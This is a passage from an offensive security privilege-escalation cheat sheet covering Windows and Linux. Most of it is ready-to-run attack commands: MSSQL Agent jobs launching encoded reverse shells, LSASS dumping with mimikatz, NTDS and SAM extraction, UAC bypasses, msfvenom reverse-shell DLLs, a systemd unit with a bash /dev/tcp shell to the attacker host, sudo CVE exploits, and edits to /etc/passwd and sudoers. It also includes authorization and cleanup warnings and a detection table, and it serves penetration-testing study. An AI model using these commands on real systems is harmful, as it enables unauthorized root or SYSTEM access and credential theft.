reg delete "\\$DC\HKLM\SYSTEM\CurrentControlSet\Services\DNS\Parameters" /v ServerLevelPluginDll /f
sc \\$DC start dns

[!warning] Watch out DnsAdmins and Server Operators are destructive — the DLL crashes DNS for the whole domain until cleanup, and a broken service on a DC is very visible. Get explicit authorization, restore config the moment you’ve proven it, and delete ServerLevelPluginDll / revert the binpath. SeLoadDriverPrivilege (Print Operators) is blocked for HKCU driver refs since Win10 1803 — use EoPLoadDriver which registers under a writable key, and BYOVD only where driver-signing enforcement allows it.

[!tip] Cleanup is part of the job on every one of these: revert service binpaths, remove added users, delete registry keys, restore file ownership — and document each change for the report.

9 — MSSQL admin → OS command execution

What to look for: I’m sysadmin on MSSQL (found via creds, or the foothold is the SQL service). Two escalation paths: xp_cmdshell, or Agent jobs (survive when xp_cmdshell is blocked/removed).

-- at the SQL prompt (impacket-mssqlclient / sqlcmd) — enable + execute
SQL> enable_xp_cmdshell
SQL> xp_cmdshell whoami
-- then potato it (§3) if the service account has SeImpersonate (default for MSSQL)

-- Agent-job route (works when sp_OACreate / xp_cmdshell are hardened away):
USE msdb;
EXEC sp_add_job @job_name = 'pwnd';
EXEC sp_add_jobstep @job_name = 'pwnd', @step_name = 'x',
     @subsystem = 'PowerShell',
     @command = 'powershell -enc <base64_revshell>';
EXEC sp_add_jobserver @job_name = 'pwnd';
EXEC sp_start_job @job_name = 'pwnd';
-- cleanup: EXEC sp_delete_job @job_name = 'pwnd';

[!tip] MSSQL enumeration, linked servers, and the full attack surface: Stage 03 — Service Enumeration. xp_cmdshell runs as the service account — check whoami /priv in its output for SeImpersonatePrivilege (GodPotato path, §3). Agent jobs can also run as a proxy account with different privileges than the SQL service — sometimes that’s the escalation.

10 — SCCM / WSUS / management-infra abuse

What to look for: signs the box is managed by SCCM (C:\Windows\CCM, ccmexec.exe) or a WSUS client (HKLM\...\WindowsUpdate\AU pointing at an internal HTTP server).

  • SCCM — hunt credentials and devices with sccmhunter (find, smb, show modules from the attack box), abuse client push / application deployment with SharpSCCM on-host (.\SharpSCCM.exe get naa recovers Network Access Account creds from WMI policy — a classic local-admin harvest). Full module: sibling notes and Stage 03 service enum.
  • WSUS over HTTP — the update path is unsigned-metadata over HTTP; inject a fake “update” that runs a PsExec-style command as SYSTEM (concept: SharpWSUS / pywsus). Requires control of or MitM to the WSUS server — usually a post-compromise lateral move, not a first privesc.

[!warning] Watch out SCCM get naa touches WMI on the site server path; fake WSUS updates change machine state domain-wide if scoped wrong. Both need explicit authorization and tight cleanup notes.

11 — Secondary logon & token tools: RunasCs + incognito

What to look for: I have credentials for a higher-priv user but no interactive session (no runas GUI, runas needs a console), or a SYSTEM box where I want to become a specific user.

# ── RunasCs (link-only: https://github.com/antonioCoco/RunasCs) — runas that works
#    from ANY shell, supports remote/forced logon types and reverse shells ──
.\RunasCs.exe lowadmin 'Pass123!' powershell -r $LHOST:443
.\RunasCs.exe lowadmin 'Pass123!' cmd -l 3        # logon type 3 = network (no profile, quiet)
# ── Meterpreter incognito (post-exploit module) — list & steal live tokens ──
meterpreter > load incognito
meterpreter > list_tokens -u
meterpreter > impersonate_token "DOMAIN\\Administrator"   # token must exist (user logged in / service running)
meterpreter > getsystem    # technique 1 = impersonation variant of the potato idea

[!note] incognito steals existing tokens only — if the target user has never logged on since boot (no delegation token), there’s nothing to steal. runas /netonly (Stage 08) creates a local process with remote creds — different primitive, useful for AD tooling, not local privesc.

12 — Windows kernel/local privesc CVEs (last resort)

What to look for: systeminfo output fed to WES-NG / Windows-Exploit-Suggester offline, missing-patch diff pointing at a privesc CVE. Same rule as Linux: misconfigs first, kernel last — a blue screen on a client’s DC ends engagements.

CVE / nameAffectsVectorCaution
MS16-032 (Secondary Logon)Vista→2012 R2, pre-MS16-032PowerShell race → SYSTEMPSv2+; reliable-ish, old targets only
CVE-2021-36934 HiveNightmareWin10 1809+ / Server 2019+ with VSS shadowSAM/SECURITY/SYSTEM hives world-readable → dump local hashesread-only, non-destructive — try early; check icacls C:\Windows\System32\config\SAM
CVE-2021-1675 / CVE-2021-34527 PrintNightmareSpooler on, point-and-printdriver load → SYSTEMloud, needs auth; patched mid-2021 but stragglers persist
CVE-2022-21999 SpoolFoolSpooler ondir-primitive → DLL write → SYSTEMPoC-only class; verify build
PwnKit-class Windows analogues (token/ALPC bugs)variesvariestreat as memory-corruption risk unless logic bug
# HiveNightmare quick check — BUILTIN\Users read on the SAM hive = vulnerable
icacls C:\Windows\System32\config\SAM

[!danger] Kernel exploit caution (Windows) Same discipline as Linux §7: (1) config/group/token paths first, (2) prefer logic bugs (HiveNightmare is a permissions bug — no crash risk) over memory corruption, (3) verify the exact build against WES-NG output, (4) expect BSOD possibility and get sign-off, (5) document. Detection: Event 4688 (process creation), 7045 (new service), 4672 (special privileges assigned) will light up on nearly every escalation here — assume a monitored box sees the effect even when the exploit itself is fileless.

[!opsec] Detection cheat-sheet (what the blue team sees)

ArtifactEvent / source
New or reconfigured service7045 (System), 4697, SC Manager logs
SYSTEM child of w3wp.exe/sqlservr.exe4688 process creation (potatoes)
Token privileges granted/used4672 / 4673 (sensitive privilege use)
LSASS accessSysmon 10 (process access, GrantedAccess 0x1010)
Registry ImagePath / Run key change4657, Sysmon 12–14
wevtutil / log tampering1102 (log cleared) — never clear logs, exfiltrate and leave them

👥 Privileged group shortcuts (why whoami /groups matters)

What to look for → whoami /groups (or a BloodHound MemberOf) showing a built-in operator group. Several are a direct escalation without any CVE:

  • Account Operators → create users and reset/modify any non-protected account, and log on to the DC. Pivot: create a user and drop it into a non-protected group that holds an ACL edge (STAGE 6), or reset a service account’s password. Deep dive: 🟣 Attack.
  • Backup Operators → read any file via SeBackupPrivilege → grab NTDS.dit + SYSTEM off the DC (see STAGE 9/10), not the local SAM. Deep dive: 🟣 Attack.
  • Server Operators → control services on the DC → reconfigure one to run your payload as SYSTEM. Deep dive: 🟣 Attack.
  • Print Operators → SeLoadDriverPrivilege → load a malicious driver. Deep dive: 🟣 Attack.
  • DnsAdmins → DLL injection into the DNS service (dns.exe) → SYSTEM on the DC. Deep dive: 🟣 Attack.
  • Event Log Readers → not direct privesc, but sensitive-log scraping is a credential mine: PowerShell transcription/ScriptBlock logs (4104), command-line auditing (4688 with cmdline), and RDP/auth logs routinely contain passwords typed as arguments, connection strings, and -p flags:
    Get-WinEvent -LogName "Microsoft-Windows-PowerShell/Operational" | Where-Object {$_.Message -match "pass|pwd|token"} | Select -First 20
    wevtutil qe Security /q:"*[System[(EventID=4688)]]" /f:text /c:200 | findstr /i "password"
  • Hyper-V Administrators → Full control of VMs on the host: swap/replace a running VM’s virtual hard disk (HardDiskDrive ACL manipulation or VHDX swap → boot a VM you control, mount the original disk offline) → loot the VM’s hives/creds. Also a path to the host via vmwp.exe vulnerabilities on old builds.
  • Remote Management Users → WinRM access (foothold, not privesc) — but combined with the groups above it’s the execution channel.

🐧 Linux PrivEsc — Deeper Vectors (PATH · NFS · Docker/LXD · LD_PRELOAD · wildcard · systemd)

Depth behind STAGE 9’s one-liners — the manual mechanics, the vectors the automated one-liners only hint at, and the gotchas the Linux PrivEsc module teaches. Same loop: find the trust boundary where a root process (cron, SUID binary, root’s own session, an NFS export) trusts something I can write, and step through it. Full command index: Linux PrivEsc Cheat Sheet.

A — PATH hijack a root-run unqualified command

What to look for: a root cron job / SUID binary / sudoers script that calls a helper by bare name (conncheck, service, backup) instead of an absolute path, plus a writable dir sitting earlier in that process’s PATH.

# find writable dirs on PATH + which root scripts call bare command names
echo $PATH
find / -path /proc -prune -o -type d -perm -o+w -print 2>/dev/null   # world-writable dirs
grep -rE '^[^/#]*\b(cp|tar|service|backup|conncheck)\b' /etc/cron* /opt /usr/local 2>/dev/null
strings /path/to/suid_bin | grep -vE '^/'   # SUID calling a bare name → hijackable
# drop a same-named payload in a dir that resolves before the real binary
PATH=.:${PATH}; export PATH
printf '#!/bin/bash\ncp /bin/bash /tmp/rootbash && chmod +s /tmp/rootbash\n' > conncheck
chmod +x conncheck
# when the root job fires: /tmp/rootbash -p  → root euid

[!warning] Watch out sudo -l showing secure_path=... kills PATH abuse for that sudoers entry — sudo rebuilds PATH from secure_path, so a hijack only works against cron/SUID/scripts, not that sudo command. A SUID binary calling system("service …") runs the child through /bin/sh and does honour my PATH — that’s the classic win. Details: 2 - Cron Jobs & Scheduled Task Abuse.

B — Wildcard / argument injection (beyond tar --checkpoint)

What to look for: a root cron/script running a command with a bare * over a directory I can write to — tar -zcf bak.tgz *, chown -R x *, rsync … *. The glob expands my crafted filenames straight into the command’s argv.

# tar → cleaner payload than a revshell: grant myself NOPASSWD (survives, no listener)
echo 'echo "'"$U"' ALL=(root) NOPASSWD: ALL" >> /etc/sudoers' > root.sh
echo "" > "--checkpoint-action=exec=sh root.sh"
echo "" > "--checkpoint=1"
# next tar run → sudo su ; done
# rsync wildcard → -e runs a command as the remote-shell
touch "shell.sh"; echo 'cp /bin/bash /tmp/rb;chmod +s /tmp/rb' > shell.sh
touch "-e sh shell.sh"                         # rsync … *  ->  rsync -e sh shell.sh
# chown/chmod wildcard → --reference clones a file's owner/mode onto the glob
touch "--reference=/tmp/pwned"                 # chown -R root:root *  hands me ownership

[!tip] tar, rsync, chown, chmod, 7z all have GTFOBins-documented wildcard/argv abuse. Confirm the job is live with pspy64 -pf before planting files — a stale-looking backup script that never fires wastes the window. Absolute-path args + a leading -- separator are the fix, so their absence is the tell.

C — NFS no_root_squash → SUID shell staged as attacker-root

What to look for: an NFS export marked no_root_squash (or no_all_squash). Normally root on a client is squashed to nfsnobody; no_root_squash lets me create root-owned SUID files on the share from my own box (where I am root).

# ── [ATTACKER] enumerate exports, no creds needed ──
showmount -e $IP
# on target, confirm the flag:  cat /etc/exports   →  /var/nfs/general *(rw,no_root_squash)
# ── [ATTACKER, as real root] build a setuid shell (no -p needed) and stage it ──
cat > shell.c <<'EOF'
int main(void){ setuid(0); setgid(0); system("/bin/bash"); }
EOF
gcc shell.c -o shell -static            # -static dodges target glibc mismatch
sudo mount -t nfs $IP:/tmp /mnt
cp shell /mnt && chmod u+s /mnt/shell
# ── [TARGET] low-priv session ──  /tmp/shell  → uid=0

[!warning] Watch out I must be root on my own box for the chmod u+s to stick with root ownership across the mount — that’s the whole mechanism. cp /bin/bash works too but then you need bash -p on target to keep euid; a hand-rolled setuid(0) binary doesn’t. If the mount errors, the export is likely root_squash (safe default) and this path is dead. LinPEAS flags no_root_squash automatically. See 9 - Remaining Vectors & Skills Checklist.

D — docker group / writable docker.sock (root-equivalent, no CVE)

What to look for: my id shows the docker group, a SUID/sudo docker, or a readable/writable /var/run/docker.sock (on host or inside a container). Any of these = full host filesystem, because Docker mounts arbitrary host paths into a container I control.

id | grep -o 'docker'
ls -la /var/run/docker.sock          # srw-rw---- and I can reach it?
find / -name docker.sock 2>/dev/null # from inside a container too
# ── docker group on host: mount host / into a throwaway container and chroot in ──
docker run -v /:/mnt --rm -it ubuntu chroot /mnt bash          # you ARE the host now
docker run -v /root:/mnt -it ubuntu                            # or just grab /root, /etc/shadow

# ── writable socket from inside a container (docker CLI may be absent → stage it) ──
wget http://$LHOST/docker -O /tmp/docker && chmod +x /tmp/docker
/tmp/docker -H unix:///var/run/docker.sock run --rm -d --privileged -v /:/hostsystem ubuntu
/tmp/docker -H unix:///var/run/docker.sock ps                  # grab the new container id
/tmp/docker -H unix:///var/run/docker.sock exec -it <id> cat /hostsystem/root/.ssh/id_rsa

[!note] Before any socket trick, check for a bind-mounted host dir inside the container (/hostsystem, weird top-level paths) — reading /hostsystem/home/*/.ssh/id_rsa and SSHing to the host is faster than spawning a sibling container. deepce automates all of this from a container foothold. Full walk-through: 6 - Docker Privilege Escalation. (LXD/LXC group is already in STAGE 9 §6.)

E — Writable /etc/passwd or /etc/shadow

What to look for: /etc/passwd or /etc/shadow world-writable (or reachable via a cap_dac_override binary / Dirty Pipe). Add a root-UID user, or blank root’s password. Same logic applies to a writable /etc/sudoers (rare but instant: add $U ALL=(ALL) NOPASSWD: ALL).

ls -l /etc/passwd /etc/shadow /etc/sudoers
find / -writable -name passwd -o -writable -name shadow 2>/dev/null
# ── writable /etc/passwd: append a second UID-0 account with a known password ──
openssl passwd -1 -salt x Pass123           # -> $1$x$....
echo 'r00t:$1$x$hashfromabove:0:0:root:/root:/bin/bash' >> /etc/passwd
su r00t                                     # Pass123 → uid=0

# ── cap_dac_override binary (e.g. vim.basic) bypasses perms → blank root's pw field ──
getcap -r / 2>/dev/null | grep cap_dac_override
echo -e ':%s/^root:[^:]*:/root::/\nwq!' | /usr/bin/vim.basic -es /etc/passwd
su root                                     # no password prompt at all

[!warning] Watch out Modern /etc/passwd uses x (password in shadow), so editing passwd only helps if I add a full hash inline (as above) — the system honours an inline $1$… over the x/shadow redirection. cap_dac_override, cap_setuid, cap_setgid are invisible to ls -l; only getcap shows them. See 8 - Kernel Exploits, SUID-SGID & Capabilities.

F — Shared-library hijack: RUNPATH · LD_LIBRARY_PATH · ld.so.preload

What to look for: a SUID/root binary linked against a non-standard .so whose search path (RUNPATH/RPATH, or an env-kept LD_LIBRARY_PATH) points somewhere writable. Broader than the env_keep+=LD_PRELOAD one-liner already in STAGE 9 §2.

ldd /path/to/suid_bin                 # any lib in a weird/writable dir?
readelf -d /path/to/suid_bin | grep -E 'RPATH|RUNPATH'   # runpath checked BEFORE system dirs
./suid_bin                            # run it first: "undefined symbol: dbquery" names the fn to export
# ── build a malicious .so exporting the SAME symbol the binary calls ──
cat > src.c <<'EOF'
#include <stdlib.h>
#include <unistd.h>
void dbquery(){ setuid(0); system("/bin/sh -p"); }   // match the missing symbol name
EOF
gcc src.c -fPIC -shared -o /development/libshared.so   # /development = the writable RUNPATH dir
./suid_bin                                             # loads my lib as root

# ── env-kept LD_LIBRARY_PATH via sudo, same idea without a writable RUNPATH ──
sudo LD_LIBRARY_PATH=/tmp <allowed_cmd>

[!tip] The fake .so must export every symbol the binary actually calls, or it won’t load — run the binary unmodified first to read the undefined symbol name. -p on sh/bash preserves the SUID euid. A SUID binary that can write /etc/ld.so.preload (e.g. Screen 4.5.0) is the nuclear version — one line there preloads my lib into every dynamically-linked process system-wide. Deep dive: 9 - Remaining Vectors & Skills Checklist / env side in 4 - Escaping Restricted Shells & Environment Variable Abuse.

G — Python library hijacking (3 flavours)

What to look for: a SUID or sudo-run Python script. I don’t need a bug in the script — I hijack a module it imports.

# 1) writable module SOURCE — inject into a function the script calls
pip3 show psutil                                   # -> install Location
ls -l /usr/local/lib/python3.8/dist-packages/psutil/__init__.py   # world-writable?
# prepend to the imported function:  import os; os.system('id')

# 2) sys.path priority — drop a same-named module in a higher-priority WRITABLE dir
python3 -c 'import sys; print("\n".join(sys.path))'
ls -ld /usr/lib/python3.8                          # earlier in sys.path AND writable → wins
printf 'import os\ndef virtual_memory():\n os.system("/bin/bash -p")\n' > /usr/lib/python3.8/psutil.py

# 3) PYTHONPATH — needs SETENV in sudoers, no writable path anywhere
sudo -l | grep SETENV                              # (ALL) SETENV: NOPASSWD: /usr/bin/python3
sudo PYTHONPATH=/tmp/ /usr/bin/python3 /path/mem_status.py   # my /tmp/psutil.py imported first as root

[!note] Python imports the first sys.path match — a writable dir earlier in the list beats the real package even when the package itself is untouchable. An AttributeError traceback after id prints is fine: code execution already happened, the crash is just my stub missing attributes. From 9 - Remaining Vectors & Skills Checklist.

H — systemd service & timer abuse

What to look for: a writable .service/.timer unit, a writable binary referenced by ExecStart, or sudo systemctl.

systemctl list-timers --all
find /etc/systemd/ /lib/systemd/ /run/systemd/ -writable -name '*.service' -o -writable -name '*.timer' 2>/dev/null
systemctl cat <svc> | grep ExecStart              # is the target binary writable by me?
# ── writable unit → point ExecStart at a revshell, reload, fire ──
mkdir -p ~/.x; printf '[Service]\nType=oneshot\nExecStart=/bin/bash -c "bash -i >& /dev/tcp/'"$LHOST"'/443 0>&1"\n[Install]\nWantedBy=multi-user.target\n' > /etc/systemd/system/x.service
systemctl daemon-reload && systemctl start x.service
# ── sudo systemctl (GTFOBins): pager escape ──
sudo systemctl status trail.service            # then at the pager:  !sh
# no pager? sudo systemctl → set a temp unit as above, or `sudo systemctl edit --full <svc>` and inject ExecStart

[!warning] Watch out A writable timer is as good as a writable service — point its Unit= at anything I can influence and wait for the schedule. logrotate is the same family: writable log + a vulnerable logrotate (3.8.6/3.11.0/3.15.0/3.18.0) → logrotten -p ./payload /tmp/tmp.log races rotation into a root shell. MITRE T1543.002 Systemd Service. Cleanup: remove the planted unit and systemctl daemon-reload again.

I — Sudo CVEs & sudoedit (when sudo -l is thin)

What to look for: an old sudo (sudo -V | head -1), a single harmless-looking sudo grant, or a sudoedit/-e entry.

sudo -V | head -1                                   # version is the whole prereq for the heap bug
# Baron Samedit CVE-2021-3156 (< 1.9.5p2) — quick non-destructive DETECT before firing a PoC:
sudoedit -s '\' $(python3 -c 'print("A"*1000)')     # "malloc(): ..." / segfault == vulnerable
# ── Baron Samedit: blasty PoC, match target index to /etc/lsb-release ──
git clone https://github.com/blasty/CVE-2021-3156 && cd CVE-2021-3156 && make
cat /etc/lsb-release; ./sudo-hax-me-a-sandwich 1     # 1 = Focal/sudo1.8.31 etc.

# ── CVE-2019-14287 (< 1.8.28): a lone `(ALL) /usr/bin/id`-style grant → run as UID -1 = 0 ──
sudo -u#-1 /usr/bin/<the_allowed_binary>            # works when the allowed binary can spawn a shell

# ── PwnKit CVE-2021-4034: needs only SUID pkexec, no sudo/group at all ──
git clone https://github.com/arthepsy/CVE-2021-4034 && cd CVE-2021-4034
gcc cve-2021-4034-poc.c -o poc && ./poc

# ── sudoedit CVE-2023-22809: `sudo -l` shows sudoedit/`-e` → smuggle an extra file to edit ──
export EDITOR='vi -- /etc/sudoers'                  # or /etc/passwd
sudoedit /the/allowed/file                          # opens /etc/sudoers too → add NOPASSWD: ALL

[!warning] Watch out The Baron Samedit heap offsets are tuned per distro/sudo/libc — a mismatched index can hang or crash the box, so match /etc/lsb-release exactly, and run the non-destructive sudoedit -s detector first. tcpdump -z postrotate (STAGE 9 §2) is now blocked by AppArmor on newer distros — check aa-status. Full CVE table: 5 - Sudo Rights & Privileged Group Abuse.

J — Overlooked groups & shared sessions (disk · adm · tmux)

What to look for: supplementary groups in id beyond sudo/docker/lxd, and root-owned tmux/screen sockets I can attach to (mechanics in §9 above).

id                                             # disk? adm? and any *-writable socket
ps aux | grep -E 'tmux|screen'                 # root session on a custom socket?
# ── disk group: raw block-device access → read/write the whole FS with debugfs ──
debugfs -w /dev/sda1                           # debugfs> cat /root/.ssh/id_rsa  (or write a SUID)
# ── adm group: read every /var/log — creds, cron activity, tokens leaked to logs ──
grep -riE 'pass|token|secret' /var/log 2>/dev/null
# ── tmux socket hijack: group-writable root session → just reattach ──
ls -la /shareds                                # srw-rw---- root devs, and I'm in devs
tmux -S /shareds                               # drops me straight into root's live shell

[!tip] disk and adm never touch /etc/sudoers yet disk is effectively root (raw FS) and adm is a credential goldmine — always read id for unfamiliar groups, not just sudo. A root tmux/screen socket that’s group-writable needs zero exploit code — attaching inherits root’s running shell. All from 5 - Sudo Rights & Privileged Group Abuse + 9 - Remaining Vectors & Skills Checklist.

🪟 Windows PrivEsc — Deeper Vectors (token privs · DLL hijack · UAC · saved creds · potato matrix)

The SeImpersonate → potato / weak-service / AlwaysInstallElevated wins above are the fast lane. When they miss, whoami /priv and whoami /groups are a menu — every Disabled privilege is still assigned and live. This is the deeper matrix: what each token privilege buys, the manual methods behind the automated finds, UAC, scheduled tasks, autoruns, the full saved-cred sweep, and how to pick the right potato. Full workflow: Windows PrivEsc Cheat Sheet · Implementation Roadmap Strategic Workflow for Windows Privilege Escalation.

The token-privilege matrix (map the priv → the technique)

What to look for: any of these in whoami /priv, even Disabled. Windows ships no cmdlet to flip a Disabled priv on — a scripted AdjustTokenPrivileges helper (EnableAllTokenPrivs, Enable-Privilege.ps1, or the tool’s own self-enable) does it. (Summary table is §2 above; this is the deep-dive.)

whoami /priv
[environment]::OSVersion.Version          # build → picks potato/UACMe technique
PrivilegeSource acct (typical)TechniqueTool
SeImpersonate / SeAssignPrimaryTokenIIS AppPool, MSSQL, NETWORK/LOCAL SERVICEcoerce a SYSTEM component → steal tokenpotato family (§3)
SeDebugdev accounts, misassigned GPOdump LSASS or steal a SYSTEM proc tokenprocdump+mimikatz / psgetsys
SeTakeOwnershipbackup/VSS-adjacent svc acctsown any securable object, then re-ACL ittakeown + icacls
SeBackup / SeRestoreBackup/Server OperatorsACL-bypass read (backup semantics) → NTDS/SAMrobocopy /B, diskshadow, DSInternals
SeManageVolumesome service accountsgrant Users full control of C:\ → DLL hijackSeManageVolumeExploit
SeLoadDriverPrint OperatorsBYOVD — load a vulnerable signed driverEoPLoadDriver + Capcom.sys

[!note] whoami /groups matters as much as /priv. Membership in Backup Operators / Server Operators / Print Operators / DnsAdmins hands you SeBackup/SeRestore/SeLoadDriver etc. and is Domain-Admin-equivalent on the resources it touches — see the built-in-group section above and 4 - Privilege Abuse via Built-in Groups (SeDebug, SeTakeOwnership, DnsAdmins & More).

SeDebugPrivilege → LSASS dump or direct SYSTEM token theft

What to look for: SeDebugPrivilege present (Administrators by default, but handed to developers via Debug programs GPO). It lets you open any process — exactly what LSASS reading and token theft need. Do not migrate into lsass (you’ll destabilise it); dump it offline or steal a different SYSTEM process’s token.

whoami /priv | findstr /i SeDebug
tasklist | findstr /i "winlogon lsass"       # note a SYSTEM PID (winlogon is reliable)
:: ── (a) dump LSASS offline → creds via mimikatz on my box ──
procdump.exe -accepteula -ma lsass.exe lsass.dmp
:: no upload? Task Manager → Details → lsass.exe → Create dump file
:: LOLBAS one-liner (comsvcs.dll MiniDump), no procdump needed:
rundll32.exe C:\Windows\System32\comsvcs.dll, MiniDump <lsass_PID> C:\Windows\Temp\l.dmp full
mimikatz # sekurlsa::minidump lsass.dmp
mimikatz # log
mimikatz # sekurlsa::logonpasswords
# ── (b) skip creds entirely — inherit a SYSTEM proc's token → spawn cmd ──
.\psgetsys.ps1; [MyProcess]::CreateProcessFromParent((Get-Process "winlogon").Id,"c:\Windows\System32\cmd.exe","")
# the trailing "" third arg is REQUIRED. Swap winlogon for lsass if you prefer.

[!warning] Watch out The comsvcs.dll MiniDump one-liner and procdump -ma lsass are both heavily signatured (Event 4688 + Defender ASR “block credential stealing from LSASS”). Token theft via psgetsys touches no cred store and is quieter. On a box with LSA Protection (RunAsPPL=1) a plain minidump fails — you’d need a driver/mimikatz !+ route, out of scope for a quick win.

SeTakeOwnershipPrivilege → own any file, then read it

What to look for: SeTakeOwnershipPrivilege — grants WRITE_OWNER over any securable object. Common on a backup/VSS service account alongside SeBackup/SeSecurity without full local admin.

# find the juicy target — owner shows as unreadable = too tight to read directly
Get-ChildItem -Path 'C:\Department Shares\Private\IT\cred.txt' | Select Fullname,@{N="Owner";E={(Get-Acl $_.FullName).Owner}}
takeown /f "C:\Department Shares\Private\IT\cred.txt"
icacls "C:\Department Shares\Private\IT\cred.txt" /grant %USERNAME%:F
type "C:\Department Shares\Private\IT\cred.txt"

High-value targets for this: web.config, %WINDIR%\repair\{sam,system,security}, %WINDIR%\system32\config\*.sav, .kdbx, .vhdx, any pass*/cred* file.

[!warning] Watch out takeown alone does not grant read — expect Access denied on type until the icacls /grant runs (two-step). An explicit Deny ACE still blocks you. Revert ownership + ACL afterward (icacls /setowner, remove the grant) and document it — this is a loud, hard-to-fully-undo change.

SeBackup / SeRestore → NTDS or local SAM (beyond robocopy /B)

What to look for: SeBackupPrivilege (read past any DACL via FILE_FLAG_BACKUP_SEMANTICS) + SeRestorePrivilege (write past it, and set owners). The robocopy /B + reg save route is in the Backup Operators block above — these are the alternates for when a file is locked (NTDS) or you want targeted extraction.

# enable the priv in-session first (it flips Disabled→Enabled)
Import-Module .\SeBackupPrivilegeUtils.dll; Import-Module .\SeBackupPrivilegeCmdLets.dll
Set-SeBackupPrivilege; Get-SeBackupPrivilege
# Diskshadow interactive prompt: snapshot the locked NTDS volume
C:\> diskshadow.exe
DISKSHADOW> set context persistent
DISKSHADOW> begin backup
DISKSHADOW> add volume C: alias cdrive
DISKSHADOW> create
DISKSHADOW> expose %cdrive% E:
DISKSHADOW> end backup
# Copy the locked database through the exposed shadow volume.
Copy-FileSeBackupPrivilege E:\Windows\NTDS\ntds.dit C:\Temp\ntds.dit
:: Export the SYSTEM hive from an elevated Command Prompt.
reg save HKLM\SYSTEM C:\Temp\SYSTEM
# ── targeted, on-host, no Linux hop: pull one account straight out of ntds.dit (DSInternals) ──
Import-Module .\DSInternals.psd1
$key = Get-BootKey -SystemHivePath .\SYSTEM
Get-ADDBAccount -DistinguishedName 'CN=administrator,CN=users,DC=inlanefreight,DC=local' -DBPath .\ntds.dit -BootKey $key
:: On a member server or workstation, export the local SAM and SYSTEM hives.
reg save HKLM\SAM C:\Temp\SAM
reg save HKLM\SYSTEM C:\Temp\SYSTEM
# Parse the copied hives or NTDS database offline from Linux.
impacket-secretsdump -ntds ntds.dit -system SYSTEM LOCAL      # whole domain
impacket-secretsdump -sam SAM -system SYSTEM LOCAL            # local hashes

[!tip] Copy-FileSeBackupPrivilege needs the two SeBackupPrivilege*.dlls uploaded; robocopy /B (in the Backup Operators block) does the same with only native binaries — reach for it when third-party files are blocked. DSInternals is the PowerShell toolkit for on-host NTDS parsing. A .vhd/.vhdx/.vmdk on a backup share is the tool-free version of this whole chain: mount it (guestmount -a disk.vmdk -i --ro /mnt on Linux, or Disk Mgmt → Attach VHD) and secretsdump ... LOCAL its Config\ hives — see 15 - Scheduled Tasks, Description Fields & Mounting Disks.

SeManageVolume → arbitrary write to C:\ → DLL hijack chain

What to look for: SeManageVolumePrivilege Enabled (seen on the MSSQL virtual service account in 3 - Windows Privileges & Impersonation Attacks (JuicyPotato, PrintSpoofer)). It’s abusable into a full-control ACL over C:\, which becomes SYSTEM via a DLL a privileged process loads.

whoami /priv | findstr /i SeManageVolume
:: SeManageVolumeExploit.exe (CsEnox) grants BUILTIN\Users full control of C:\ recursively
.\SeManageVolumeExploit.exe
:: now drop a hijack DLL where a SYSTEM process/service resolves it (e.g. a missing
:: DLL under C:\Windows\System32 that a scheduled task / service loads), then trigger it

[!warning] Watch out This is a two-stage primitive — SeManageVolume only gives you the write; you still need a SYSTEM process that loads a DLL from a now-writable path (pair with the DLL-hijack discovery below). Granting Users full control of C:\ is extremely noisy and hard to fully revert — get sign-off and restore the ACL after proving it.

Service & application DLL hijacking (proxy vs invalid-library)

What to look for: a service running as SYSTEM (sc qc <svc> → LocalSystem) whose own folder is writable, or that searches for a DLL it never ships. Code execution follows whatever process loads the DLL — hijack a SYSTEM service and it’s privesc, not just RCE. Search-order table is in §6 above. Full walkthrough: 9 - DLL Hijacking.

# ── discovery: PowerUp finds writable-PATH and hijackable-process DLL slots ──
Import-Module .\PowerUp.ps1
Find-PathDLLHijack ; Find-ProcessDLLHijack
# ── manual: Process Monitor, filter the target EXE, then either ──
#   Operation is 'Load Image'  → a DLL it loads by unqualified name from its own dir (proxy target)
#   Path ends with '.dll' AND Result is 'NAME NOT FOUND' → a DLL it wants but never finds (free win)
# static triage without running it:
dumpbin /imports C:\Path\to\service.exe        # or PE Explorer / Process Explorer
icacls "C:\Program Files\VulnApp"              # is the app's own folder writable?
# ── invalid-library hijack: app looks for x.dll, never finds it, you own 100% of it ──
msfvenom -p windows/x64/shell_reverse_tcp LHOST=$LHOST LPORT=443 -f dll -o x.dll
# rename to the exact missing name, drop in the app's own writable dir, restart the svc

[!tip] Two flavours: proxying re-exports the real functions (load library.o.dll, call through, run your payload) so the app keeps working — quiet, hard to spot. Invalid-library fills a NAME NOT FOUND gap — total control, no functionality to preserve, but more conspicuous if the missing DLL was supposed to do something visible. DllMain’s DLL_PROCESS_ATTACH is where the payload fires.

[!warning] Watch out Safe DLL Search Mode (on by default) pushes the current working directory below System32, but the application’s own directory is always searched first — that’s what keeps hijacking alive on a patched box. A hijack in a user-context app is same-privilege RCE, worthless for escalation; always tie it back to the loading process’s account before spending time on it.

UAC bypass (fodhelper · srrstr · eventvwr · CVE-2019-1388)

What to look for: I’m in the local Administrators group but whoami /priv shows only a standard-user token (split-token / medium integrity). Confirm UAC is on and how strict, then match a UACMe technique to the exact build. Full worked example: 5 - User Account Control (UAC) Bypass. MITRE T1548.002.

reg query HKLM\Software\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA
reg query HKLM\Software\Microsoft\Windows\CurrentVersion\Policies\System /v ConsentPromptBehaviorAdmin
:: EnableLUA 0x1 = on. ConsentPromptBehaviorAdmin 0x5 ("Always notify") = strictest, kills most techniques.
:: ── fodhelper.exe — classic fileless auto-elevate, no DLL on disk ──
reg add "HKCU\Software\Classes\ms-settings\Shell\Open\command" /d "cmd.exe /c C:\Windows\Temp\rev.exe" /f
reg add "HKCU\Software\Classes\ms-settings\Shell\Open\command" /v DelegateExecute /t REG_SZ /f
fodhelper.exe
:: ── eventvwr.exe variant (same idea, different hijacked class) ──
reg add "HKCU\Software\Classes\mscfile\shell\open\command" /d "C:\Windows\Temp\rev.exe" /f & eventvwr.exe
:: cleanup: reg delete both keys /f
# ── DLL-search UACMe technique 54 (build ≥14393): auto-elevating SystemPropertiesAdvanced.exe ──
msfvenom -p windows/shell_reverse_tcp LHOST=$LHOST LPORT=443 -f dll > srrstr.dll
# drop into the user-writable, PATH-listed WindowsApps folder, then run the 32-bit binary:
#   %LOCALAPPDATA%\Microsoft\WindowsApps\srrstr.dll  →  C:\Windows\SysWOW64\SystemPropertiesAdvanced.exe

